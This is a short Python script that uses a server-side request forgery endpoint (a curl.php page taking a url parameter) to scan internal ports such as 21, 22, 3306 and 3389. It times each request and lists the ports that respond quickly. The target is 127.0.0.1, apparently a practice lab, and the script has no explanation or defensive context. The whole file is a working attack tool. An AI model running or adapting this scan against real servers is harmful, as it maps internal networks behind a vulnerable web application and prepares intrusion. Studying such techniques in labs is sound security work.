import requests
import time
url='http://127.0.0.1/ssrf/curl.php?url=http://127.0.0.1:'
exp_ports = ['21','22','23','53','80','443','3306','3389','8080','7001']
yu = 1
ret = []
for port in exp_ports:
    s = time.time()
    r = requests.get(
        url+port
    )
    e = time.time()
    print("port "+ port +" tm: "+ str( e-s))
    if e-s<1:
        ret.append(port)

print(ret)
